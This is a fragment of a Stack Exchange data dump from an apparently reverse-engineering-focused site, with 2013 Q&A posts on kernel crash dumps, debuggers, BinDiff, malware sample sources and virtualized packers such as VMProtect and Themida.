&lt;code&gt;kdcom&lt;/code&gt; - to gain valuable metrics - it can also be used to create a crashdump directly (see WinDbg help). If you have conclusive evidence that a machine is infected, due to symptoms it exhibits, odds are the malware isn't all too sophisticated and you will not have to care about the special case I outlined. However, keep in mind that this special case can only be considered &lt;em&gt;one&lt;/em&gt; out of many conceivable cases used to hide. So long story short: there is no &lt;em&gt;absolutely reliable&lt;/em&gt; way to do what you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has sometimes been said - and it's true - that the attacker just needs to find one out of an infinite number of attack vectors, whereas the defender can only defend a finite number of &lt;em&gt;known&lt;/em&gt; attack vectors. The lesson from this should be that we - as anti-malware industry (in which I work) - can always claim that &lt;em&gt;we&lt;/em&gt; didn't find anything on the system, but that it is wrong to claim that the system is clean.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;How to deliberately cause a BSOD&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The keyboard driver(s) can be told to cause a BSOD:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HKLM\CurrentControlSet\Services\kbdhid\Parameters&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or (for older PS/2 keyboards)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HKLM\SYSTEM\CurrentControlSet\Services\i8042prt\Parameters&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And there set a &lt;code&gt;REG_DWORD&lt;/code&gt; named &lt;code&gt;CrashOnCtrlScroll&lt;/code&gt; to &lt;code&gt;1&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After the next reboot you can force the blue screen by &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;ScrollLk&lt;/kbd&gt;+&lt;kbd&gt;ScrollLk&lt;/kbd&gt;. The bug check code will in this case be &lt;code&gt;0xE2&lt;/code&gt; (&lt;code&gt;MANUALLY_INITIATED_CRASH&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Side-note: I have also read, but never seen it in a kernel debugging session myself or in any kind of FLOSS implementation, that some method tries to re-load the kernel from the image on disk and run it through the early initialization steps, thereby creating a &quot;shadow&quot; SSDT. This one would then be pristine and could be used to &quot;unhook&quot; everything in one fell swoop from the original SSDT. Again, haven't seen this implemented, but from my knowledge of the internals it seems a possibility. Of course this plays more with the idea of detecting/unhooking a rootkit's functions than it does with your original intention of getting a memory dump of an infected system.&lt;/p&gt;&#xA;" OwnerUserId="245" LastEditorUserId="245" LastEditDate="2013-04-02T00:45:42.343" LastActivityDate="2013-04-02T00:45:42.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1467" PostTypeId="2" ParentId="1392" CreationDate="2013-04-02T00:58:49.877" Score="25" Body="&lt;p&gt;Even at the risk of severe downvoting, I'd like to side with the plain old &lt;code&gt;gdb&lt;/code&gt; prompt and recommend against a GUI frontend. I started out learning more advanced use of GDB by reading &lt;a href=&quot;https://nostarch.com/debugging.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;Art of Debugging&lt;/a&gt; some years ago. It describes GDB and DDD as well as Eclipse as frontends to GDB. I still recommend the book even in 2023 to learn the basics; despite its age. Of course there is also &lt;a href=&quot;https://www.sourceware.org/gdb/documentation/&quot; rel=&quot;nofollow noreferrer&quot;&gt;the GDB manual&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Admittedly most of the time I am using Vim as my IDE on the terminal and &lt;code&gt;tmux&lt;/code&gt; (earlier &lt;code&gt;screen&lt;/code&gt; with &lt;code&gt;byobu&lt;/code&gt;). Therefore I am switching between panes in my terminal multiplexer to switch quickly between code and debugger. The GDB prompt - after some weeks of trying the TUI (start with &lt;code&gt;gdb -tui&lt;/code&gt;, &lt;code&gt;gdbtui&lt;/code&gt; or at the prompt &lt;kbd&gt;layout next&lt;/kbd&gt;) - has indeed everything I ever desired and you should keep in mind that you can attach multiple times to the same process (thereby having a look at memory the way you describe it).&lt;/p&gt;&#xA;&lt;p&gt;It seems that all frontends are lagging behind a little - no surprise - and it makes more sense to come to terms with the GDB prompt and its niceties and oddities. Keep in mind that on a bare-metal setup it may be the only thing you have. Thus it makes sense to learn it even if you find a &amp;quot;decent&amp;quot; GUI by your own standards.&lt;/p&gt;&#xA;&lt;p&gt;Newer versions of GDB will also support Python scripting and through that provide a very powerful set of tools to debug, even just from the command line.&lt;/p&gt;&#xA;&lt;p&gt;If you absolutely insist on using a GUI frontend, I would also recommend IDA Pro for the simple reason that it gives you a single frontend for a variety of debuggers and you have to learn (or customize) its shortcuts only once. Disadvantages: price and flexibility when you don't have a license on a particular machine or no way to tunnel to a GDB server etc ...&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Additional options to make your debugging experience slicker would be:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://hugsy.github.io/gef/&quot; rel=&quot;nofollow noreferrer&quot;&gt;gef: GDB Enhanced Features&lt;/a&gt; as recommended &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/27118&quot;&gt;in this answer&lt;/a&gt;, which is particularly conducive to reverse engineering endeavours&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/cyrus-and/gdb-dashboard&quot; rel=&quot;nofollow noreferrer&quot;&gt;GDB dashboard&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;I'm not aware of any frontend of GDB that accepts WinDbg commands. And I can only emphasize again: you will reap the fruit of the time invested in learning vanilla GDB anyway. Don't shy away from the effort. There are plenty of things in WinDbg which are specific to the way Windows works, the Windows kernel works and so on. GDB is much more generic.&lt;/p&gt;&#xA;" OwnerUserId="245" LastEditorUserId="245" LastEditDate="2023-05-23T11:02:06.607" LastActivityDate="2023-05-23T11:02:06.607" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="1468" PostTypeId="2" ParentId="1463" CreationDate="2013-04-02T01:43:52.537" Score="9" Body="&lt;p&gt;I'm a big fan of &lt;a href=&quot;https://code.google.com/p/binwalk/&quot;&gt;binwalk&lt;/a&gt;, but sadly it doesn't help you much on Windows.&lt;/p&gt;&#xA;" OwnerUserId="270" LastActivityDate="2013-04-02T01:43:52.537" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1469" PostTypeId="2" ParentId="1410" CreationDate="2013-04-02T02:59:33.273" Score="3" Body="&lt;p&gt;I haven't used either, but &lt;a href=&quot;http://peachfuzzer.com/&quot; rel=&quot;nofollow&quot;&gt;Peach Fuzzer&lt;/a&gt;, on which HotFuzz is based, has a &quot;Peach Fuzz Bang&quot; GUI for fuzzing files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind, though, that fuzzers try to generate &lt;em&gt;invalid&lt;/em&gt; inputs that crash a program, not determine the exact grammar that describes all valid input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, strictly speaking, it isn't mathematically possible to do what you're asking. If a computer could comprehensively learn a language merely by reading text in that language, then machine translation would be a solved problem. (This is a slightly poor analogy since &lt;a href=&quot;http://www.eecs.harvard.edu/~shieber/Biblio/Papers/shieber85.pdf&quot; rel=&quot;nofollow&quot;&gt;not all human languages are context-free&lt;/a&gt;, but the idea is clear.)&lt;/p&gt;&#xA;" OwnerUserId="62" LastEditorUserId="62" LastEditDate="2013-04-02T14:28:08.370" LastActivityDate="2013-04-02T14:28:08.370" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1470" PostTypeId="2" ParentId="1463" CreationDate="2013-04-02T03:24:28.577" Score="23" Body="&lt;p&gt;&lt;a href=&quot;http://aluigi.altervista.org/mytoolz.htm#signsrch&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;signsrch&lt;/code&gt;&lt;/a&gt; by Luigi Auriemma has signatures for tables used in common compression libraries (zlib etc.). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kNa4o.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has been ported as plugins for &lt;a href=&quot;http://www.autistici.org/ratsoul/iss.html&quot; rel=&quot;noreferrer&quot;&gt;ImmDbg&lt;/a&gt; and &lt;a href=&quot;http://www.macromonkey.com/bb/viewtopic.php?f=65&amp;amp;t=886&quot; rel=&quot;noreferrer&quot;&gt;IDA&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;He also has the &lt;a href=&quot;http://aluigi.altervista.org/mytoolz.htm#offzip&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;offzip&lt;/code&gt;&lt;/a&gt; tool which tries to identify and unpack compressed streams inside a binary.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2013-04-02T03:24:28.577" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1471" PostTypeId="1" AcceptedAnswerId="1472" CreationDate="2013-04-02T05:31:36.057" Score="5" ViewCount="1568" Body="&lt;p&gt;Is there any way to leave 2D flow chart graphs and go to 3D model?&#xA;I mean something like that:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usual 2D graph:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/uHTxH.png&quot; alt=&quot;2D graph&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;3D graph:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/qMhs1.png&quot; alt=&quot;3D graph&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only one solution I've seen is using UbiGraph + Linux on VM (to use UbiGraph) + some X-server for Win (the process of making all that stuff to work is described at Cr4sh's blog). That's kinda perverted solution, up to me. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also it would be brilliant if there could be displayed disasm in nodes, like in ordinary 2D IDA graphs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps there are some more elegant solutions?&lt;/p&gt;&#xA;" OwnerUserId="1332" LastEditorUserId="60" LastEditDate="2013-04-02T05:46:07.423" LastActivityDate="2013-04-02T05:55:32.460" Title="3D control-flow graphs in IDA" Tags="|disassembly|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1472" PostTypeId="2" ParentId="1471" CreationDate="2013-04-02T05:55:32.460" Score="7" Body="&lt;p&gt;By default, IDA generates graphs in GDL (WinGraph) format, but you can switch it to DOT which is supported by GraphViz and some other tools. It seems &lt;a href=&quot;http://gephi.org/2010/new-graphviz-dot-csv-and-ucinet-formats/&quot;&gt;Gephi&lt;/a&gt; can do 3D.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;code&gt;GRAPH_FORMAT&lt;/code&gt; and &lt;code&gt;GRAPH_VISUALIZER&lt;/code&gt; in &lt;code&gt;ida.cfg&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2013-04-02T05:55:32.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1473" PostTypeId="2" ParentId="1440" CreationDate="2013-04-02T07:40:34.800" Score="2" Body="&lt;p&gt;There are &lt;a href=&quot;http://www.pcbreverseengineering.com/&quot; rel=&quot;nofollow&quot;&gt;comprehensive tools&lt;/a&gt; that can do precisely this. Part of the software that comes with them allows you to place part numbers between pads and have the circuit diagram automatically generated for you. Unfortunately, they're likely to set you back a fair bit of cash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An alternative is to use corrosives and sharp implements to manually split the layers, but that's difficult and prone to mistakes. If you've got a number of boards you can destroy in the process, this is probably the cheapest option.&lt;/p&gt;&#xA;" OwnerUserId="1351" LastActivityDate="2013-04-02T07:40:34.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1474" PostTypeId="2" ParentId="1463" CreationDate="2013-04-02T08:19:44.393" Score="2" Body="&lt;p&gt;If a binary uses deflate or gzip (which uses deflate), the code is generally linked in as a library and thus easy to detect based on string artifacts. This can certainly be automated, e.g., you could simply search for the respective strings. Manually matching functions against the source code is a somewhat tedious process, but it usually works nicely. The process is much more difficult for less common algorithms or when you don't have any artifacts. In that case you have to identify the algorithm by its semantics (things like word size, constants, data structures may provide hints).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition to the already mentioned FLIRT signatures: If you use IDA Pro with the Hex-Rays plugin and you are lucky, you may be able to find an algorithm on &lt;a href=&quot;http://crowd.re&quot; rel=&quot;nofollow&quot;&gt;http://crowd.re&lt;/a&gt;. There are a few annotations for compression algorithms available. Apart from that, I am not aware of any tools or scripts that do what you want.&lt;/p&gt;&#xA;" OwnerUserId="1369" LastActivityDate="2013-04-02T08:19:44.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1475" PostTypeId="1" AcceptedAnswerId="1511" CreationDate="2013-04-02T09:35:57.497" Score="11" ViewCount="6058" Body="&lt;p&gt;I would like to know what are the basic principles (and maybe a few things about the optimizations and heuristics) of the &lt;a href=&quot;http://www.zynamics.com/bindiff.html&quot;&gt;BinDiff software&lt;/a&gt;. Does anyone have a nice and pedagogic explanation of it?&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="2147" LastEditDate="2016-10-11T13:18:25.770" LastActivityDate="2017-03-14T23:53:19.713" Title="How does BinDiff work?" Tags="|tools|tool-bindiff|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1476" PostTypeId="2" ParentId="1475" CreationDate="2013-04-02T10:47:17.147" Score="6" Body="&lt;p&gt;I can tell just a couple of words about control-flow graph building, though my answer is definitely not the full one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BinDiff uses a static type of detecting execution flows, I suppose because executing code isn't always possible (e.g. for ring 0 drivers) or reasonable (malware). Actually, the given file is disassembled, then it should be split into &lt;strong&gt;basic blocks&lt;/strong&gt; (these are pieces of code that have straight way of execution, though this definition is right in that very case). It's clear (considering the x86 architecture, for example) that instructions like &lt;code&gt;jxx&lt;/code&gt; change the control flow of a program. So basic blocks are usually terminated by them. This very process of splitting code into blocks isn't a complicated task, the more challenging part is determining jump destination.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example something like that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;jz eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So we can't (easily) understand with automated static analysis where this call is pointed to. Trivial cases can be &quot;emulated&quot;, but in general that work is very hard and frustrating. The other option is to trace program to look which paths does code execute (that can be done manually).&#xA;When these blocks are found the only one thing left is to build human-readable graph.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway there is a pile of ways execution flow can be changed (exceptions, hot patching by another thread, system-dependent events etc).&lt;/p&gt;&#xA;" OwnerUserId="1332" LastEditorUserId="245" LastEditDate="2013-04-09T14:26:27.540" LastActivityDate="2013-04-09T14:26:27.540" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1477" PostTypeId="2" ParentId="206" CreationDate="2013-04-02T12:07:28.817" Score="4" Body="&lt;p&gt;Here a website I like which wasn't mentioned before&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://malwaretips.com/Forum-Virus-Exchange&quot; rel=&quot;nofollow&quot;&gt;malwaretips.com&lt;/a&gt; - &quot;Virus Exchange&quot; forum with active community sharing samples, also contains references to other malware sharing sites.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1393" LastEditorUserId="245" LastEditDate="2013-04-17T14:35:05.930" LastActivityDate="2013-04-17T14:35:05.930" CommentCount="1" CommunityOwnedDate="2015-07-16T07:01:20.390" ContentLicense="CC BY-SA 3.0" />
  <row Id="1478" PostTypeId="1" AcceptedAnswerId="1479" CreationDate="2013-04-02T12:14:23.807" Score="20" ViewCount="6755" Body="&lt;p&gt;I'm just getting into the RE field, and I learned about virtualized packers (like VMProtect or Themida) in a class about a year ago. How often is malware in the wild really packed with virtualized packers, and what is the state of the art in unpacking them for static analysis?&lt;/p&gt;&#xA;" OwnerUserId="1387" LastEditorUserId="188" LastEditDate="2013-04-02T12:48:03.230" LastActivityDate="2013-04-03T11:23:07.330" Title="How common are virtualized packers in the wild?" Tags="|obfuscation|static-analysis|malware|unpacking|virtualizers|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1479" PostTypeId="2" ParentId="1478" CreationDate="2013-04-02T12:21:48.923" Score="17" Body="&lt;h1&gt;virtualizers usage in the wild&lt;/h1&gt;&#xA;&lt;p&gt;They are rarely used, and even worse (or better), rarely used in a useful way.&lt;/p&gt;&#xA;&lt;h2&gt;how they're used&lt;/h2&gt;&#xA;&lt;p&gt;Typically, it was the use of a virtualizer of over only the main function, or another binary packer, and both cases don't prevent analysis: if you bypass the virtualized packer code, then you get the original unpacked code anyway.&lt;/p&gt;&#xA;&lt;h2&gt;why they're not used more often&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It makes the target bloated and slower&lt;/li&gt;&#xA;&lt;li&gt;they're not trivial to use correctly&lt;/li&gt;&#xA;&lt;li&gt;it's fairly common to detect them based on their (usually pirated) licence's watermark, so no matter what you'd virtualize, it would be detected by a specific fingerprint.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2&gt;a meaningful example&lt;/h2&gt;&#xA;&lt;p&gt;AFAIK the only known smart use of a virtualizer (VMProtect here) in a malware is Trojan.Clampi, for which Nicolas Fallière wrote a &lt;a href=&quot;http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/inside_trojan_clampi.pdf&quot; rel=&quot;noreferrer&quot;&gt;white paper&lt;/a&gt;, but it's not so detailed. For this one, the whole viral body was virtualized.&lt;/p&gt;&#xA;&lt;h1&gt;papers on de-virtualization&lt;/h1&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Rolf Rolles' &lt;a href=&quot;http://static.usenix.org/event/woot09/tech/full_papers/rolles.pdf&quot; rel=&quot;noreferrer&quot;&gt;Unpacking Virtualization Obfuscators&lt;/a&gt;, OpenRCE &lt;a href=&quot;http://www.openrce.org/blog/view/1241/Part_3:__Optimizing_and_Compiling&quot; rel=&quot;noreferrer&quot;&gt;blog entries&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;sherzo's &lt;a href=&quot;http://repo.meh.or.id/Reverse%20Engineering/Inside%20Code%20Virtualizer.pdf&quot; rel=&quot;noreferrer&quot;&gt;inside code virtualizer&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;I couldn't find a public download link for these (otherwise good) papers:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Boris Lau's &lt;a href=&quot;http://2008.caro.org/program/dealing-with-virtualization-packers&quot; rel=&quot;noreferrer&quot;&gt;Dealing with Virtualization packers&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Zhenxiang Jim Wan's &lt;a href=&quot;http://www.virusbtn.com/conference/vb2009/abstracts/Wang.xml&quot; rel=&quot;noreferrer&quot;&gt;How to recover virtualized x86 instructions by Themida&#xA;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="188" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2013-04-02T17:26:50.437" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1480" PostTypeId="2" ParentId="206" CreationDate="2013-04-02T12:30:48.567" Score="7" Body="&lt;p&gt;I like to run Kyle Maxwells Maltrieve &lt;a href=&quot;https://github.com/technoskald/maltrieve&quot; rel=&quot;nofollow&quot;&gt;https://github.com/technoskald/maltrieve&lt;/a&gt;, which will collect malware from various resources.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, I have some samples up for download on my site TekDefense.com &lt;a href=&quot;http://www.tekdefense.com/downloads/&quot; rel=&quot;nofollow&quot;&gt;http://www.tekdefense.com/downloads/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Legend of random: &lt;a href=&quot;https://tuts4you.com/download.php?view.3554&quot; rel=&quot;nofollow&quot;&gt;https://tuts4you.com/download.php?view.3554&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last is for those who want to begin from scratch.I think it's great for you to get start with Ollydbg.Unluckily it's main website already down right now.So you can get only PDF.Grab it before it's gone! &lt;/p&gt;&#xA;" OwnerUserId="1399" LastEditorUserId="-1" LastEditDate="2015-07-16T06:52:40.987" LastActivityDate="2015-07-16T06:52:40.987" CommentCount="0" CommunityOwnedDate="2015-07-16T07:01:20.390" ContentLicense="CC BY-SA 3.0" />
  <row Id="1481" PostTypeId="5" CreationDate="2013-04-02T12:57:45.780" Score="0" Body="&lt;p&gt;Documented &lt;a href=&quot;http://www.zynamics.com/bindiff.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, Downloadable &lt;a href=&quot;https://www.zynamics.com/software.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14043" LastEditorUserId="2147" LastEditDate="2016-10-01T08:25:36.343" LastActivityDate="2016-10-01T08:25:36.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1482" PostTypeId="4" CreationDate="2013-04-02T12:57:45.780" Score="0" Body="Commercial binary diffing tool formerly developed by Zynamics, and now freely available by Google. Development discontinued." OwnerUserId="188" LastEditorUserId="2147" LastEditDate="2016-10-01T08:25:29.113" LastActivityDate="2016-10-01T08:25:29.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1483" PostTypeId="5" CreationDate="2013-04-02T13:05:42.397" Score="0" Body="&lt;ul&gt;&#xA;&lt;li&gt;very popular: the mainstream debugger in the late 90s&lt;/li&gt;&#xA;&lt;li&gt;also called WinICE&lt;/li&gt;&#xA;&lt;li&gt;stands for SOFTware In-Circuit Emulator&lt;/li&gt;&#xA;&lt;li&gt;not developed and not for sale anymore since 2006&lt;/li&gt;&#xA;&lt;li&gt;worked up to Windows XP&lt;/li&gt;&#xA;&lt;li&gt;offered as part of Compuware's DriverStudio&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="188" LastEditorUserId="188" LastEditDate="2013-04-02T14:06:06.463" LastActivityDate="2013-04-02T14:06:06.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1484" PostTypeId="4" CreationDate="2013-04-02T13:05:42.397" Score="0" Body="kernel mode debugger for Microsoft Windows" OwnerUserId="188" LastEditorUserId="188" LastEditDate="2013-04-02T14:05:40.710" LastActivityDate="2013-04-02T14:05:40.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1485" PostTypeId="2" ParentId="1395" CreationDate="2013-04-02T13:22:02.367" Score="1" Body="&lt;p&gt;If you are using IDA Pro, Ctrl-E (Windows shortcut &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/freefiles/IDA_Pro_Shortcuts.pdf&quot; rel=&quot;nofollow&quot;&gt;https://www.hex-rays.com/products/ida/support/freefiles/IDA_Pro_Shortcuts.pdf&lt;/a&gt;) it will show you entry point. You can directly jump to Main/start function.&lt;/p&gt;&#xA;" OwnerUserId="1384" LastActivityDate="2013-04-02T13:22:02.367" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1486" PostTypeId="2" ParentId="1445" CreationDate="2013-04-02T13:24:05.147" Score="13" Body="&lt;p&gt;SoftICE is no longer maintained or widely used. The standard for kernel-mode debugging is currently Windbg. Windbg can also be used for user-mode debugging. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would recommended you check out the following link for more information about windbg and debugging in general:&#xA;&lt;a href=&quot;http://www.codeproject.com/Articles/6084/Windows-Debuggers-Part-1-A-WinDbg-Tutorial&quot;&gt;http://www.codeproject.com/Articles/6084/Windows-Debuggers-Part-1-A-WinDbg-Tutorial&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if you could give more information around what it is you are trying to accomplish (malware analysis, binary analysis, file format revesing etc..) we could probably point you in a more appropriate direction. It is likely that kernel mode debugger is not what you are looking for. &lt;/p&gt;&#xA;" OwnerUserId="1404" LastActivityDate="2013-04-02T13:24:05.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1487" PostTypeId="5" CreationDate="2013-04-02T14:10:48.160" Score="0" Body="&lt;h1&gt;virtualizers&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;ReWolf's &lt;a href=&quot;http://blog.rewolf.pl/blog/?p=22&quot; rel=&quot;nofollow&quot;&gt;x86 virtualizer&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Ange Albertini's &lt;a href=&quot;https://code.google.com/p/corkami/source/browse/#svn%2Ftrunk%2Fwip%2FMakePE%2Fexamples%2FVMs&quot; rel=&quot;nofollow&quot;&gt;hand-made architecture examples&lt;/a&gt; (for beginners) &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;commercial&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Oreans' &lt;a href=&quot;http://www.oreans.com/&quot; rel=&quot;nofollow&quot;&gt;Code Virtualizer / Themida&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://vmpsoft.com/&quot; rel=&quot;nofollow&quot;&gt;VmProtect&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;static unpacking&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Nicolas Fallière's &lt;a href=&quot;http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/inside_trojan_clampi.pdf&quot; rel=&quot;nofollow&quot;&gt;Inside Trojan.Clampi&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Rolf Rolles' &lt;a href=&quot;http://static.usenix.org/event/woot09/tech/full_papers/rolles.pdf&quot; rel=&quot;nofollow&quot;&gt;Unpacking Virtualization Obfuscators&lt;/a&gt;, OpenRCE &lt;a href=&quot;http://www.openrce.org/blog/view/1241/Part_3%3a__Optimizing_and_Compiling&quot; rel=&quot;nofollow&quot;&gt;blog entries&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;sherzo's &lt;a href=&quot;http://repo.meh.or.id/Reverse%20Engineering/Inside%20Code%20Virtualizer.pdf&quot; rel=&quot;nofollow&quot;&gt;inside code virtualizer&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Tora's &lt;a href=&quot;http://linuxch.org/poc2012/Tora,%20Devirtualizing%20FinSpy.pdf&quot; rel=&quot;nofollow&quot;&gt;Devirtualizing Finspy&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Sharif's &lt;a href=&quot;http://iseclab.org/people/andrew/download/oakland09.pdf&quot; rel=&quot;nofollow&quot;&gt;Automatic Reverse Engineering of Malware Emulators&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;tuts4you's &lt;a href=&quot;http://tuts4you.com/download.php?list.32&quot; rel=&quot;nofollow&quot;&gt;Virtualization / Virtual Machines&lt;/a&gt; section&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;no public link?&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Boris Lau's &lt;a href=&quot;http://2008.caro.org/program/dealing-with-virtualization-packers&quot; rel=&quot;nofollow&quot;&gt;Dealing with Virtualization packers&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Zhenxiang Jim Wan's &lt;a href=&quot;http://www.virusbtn.com/conference/vb2009/abstracts/Wang.xml&quot; rel=&quot;nofollow&quot;&gt;How to recover virtualized x86 instructions by Themida&#xA;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;tools&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;pa_kt's &lt;a href=&quot;http://gdtr.wordpress.com/2012/10/03/decv-a-decompiler-for-code-virtualizer-by-oreans/&quot; rel=&quot;nofollow&quot;&gt;DeCV — a decompiler for Code Virtualizer by Oreans&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;vam's &lt;a href=&quot;http://tuts4you.com/download.php?view.3059&quot; rel=&quot;nofollow&quot;&gt;VmSweeper&lt;/a&gt; (for VMProtect and Code Virtualizer, no official page)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="188" LastEditorUserId="188" LastEditDate="2013-04-09T14:26:37.337" LastActivityDate="2013-04-09T14:26:37.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1488" PostTypeId="4" CreationDate="2013-04-02T14:10:48.160" Score="0" Body="Binary packers that convert CPU instructions into an emulated instruction set, and embed the virtual CPU code along the virtual code." OwnerUserId="188" LastEditorUserId="188" LastEditDate="2013-04-02T16:24:51.140" LastActivityDate="2013-04-02T16:24:51.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
